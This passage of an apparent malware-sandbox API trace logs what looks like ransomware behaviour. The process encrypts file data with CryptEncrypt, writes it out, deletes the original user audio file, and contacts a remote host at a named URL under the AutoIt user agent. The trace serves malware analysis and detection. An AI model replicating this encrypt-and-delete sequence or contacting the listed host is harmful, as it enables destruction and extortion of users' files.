lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621828, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.931] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.931] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x8dc6, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x8dd0) returned 1 [0064.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.931] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.932] CharLowerBuffW (in: lpsz="byte[36305]", cchLength=0xb | out: lpsz="byte[36305]") returned 0xb [0064.932] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.932] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.932] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.932] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.932] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.933] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.933] CryptEncrypt (in: hKey=0x164c330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x188ebb0*, pdwDataLen=0x130e618*=0x8dc6, dwBufLen=0x8dd0 | out: pbData=0x188ebb0*, pdwDataLen=0x130e618*=0x8dd0) returned 1 [0064.933] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.933] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.933] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.933] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.933] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.933] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.933] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.933] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.933] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.933] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.934] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.934] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.934] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.934] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.934] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.934] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.934] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.946] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.946] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.946] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.946] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x8dd0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x8dd0, lpOverlapped=0x0) returned 1 [0064.974] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.974] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.974] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.974] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.974] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.974] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.974] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.974] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.974] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.974] CryptDestroyKey (hKey=0x164c330) returned 1 [0064.975] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.975] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.975] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.975] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.975] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.975] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.975] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.975] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.975] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.975] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.975] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.975] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.975] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.975] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.975] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.975] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.975] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.975] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.975] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.976] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.976] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.976] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.976] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.976] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.976] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.976] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.976] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.976] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.976] CryptReleaseContext (hProv=0x17abaa0, dwFlags=0x0) returned 1 [0064.976] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.976] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.976] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.977] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.977] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.977] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.977] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.977] CloseHandle (hObject=0x3bc) returned 1 [0064.979] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.979] CloseHandle (hObject=0x2ac) returned 1 [0064.981] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.981] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.981] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", lpFilePart=0x0) returned 0x46 [0064.981] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zoihn\\whidukjwk.wav")) returned 0x20 [0064.981] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0064.982] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zoihn\\whidukjwk.wav")) returned 1 [0064.983] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.983] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0064.983] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.983] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.984] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.984] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.984] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0064.984] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.984] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.984] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.984] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.984] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.984] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.984] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620eb0, lpdwBufferLength=0x130ef8c) returned 1 [0064.984] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.984] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.984] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.985] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.985] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.985] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.985] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.985] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.985] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.986] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.986] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.986] CloseHandle (hObject=0x0) returned 0 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\1-jq9XwnvIjg7mpOgy.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.986] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 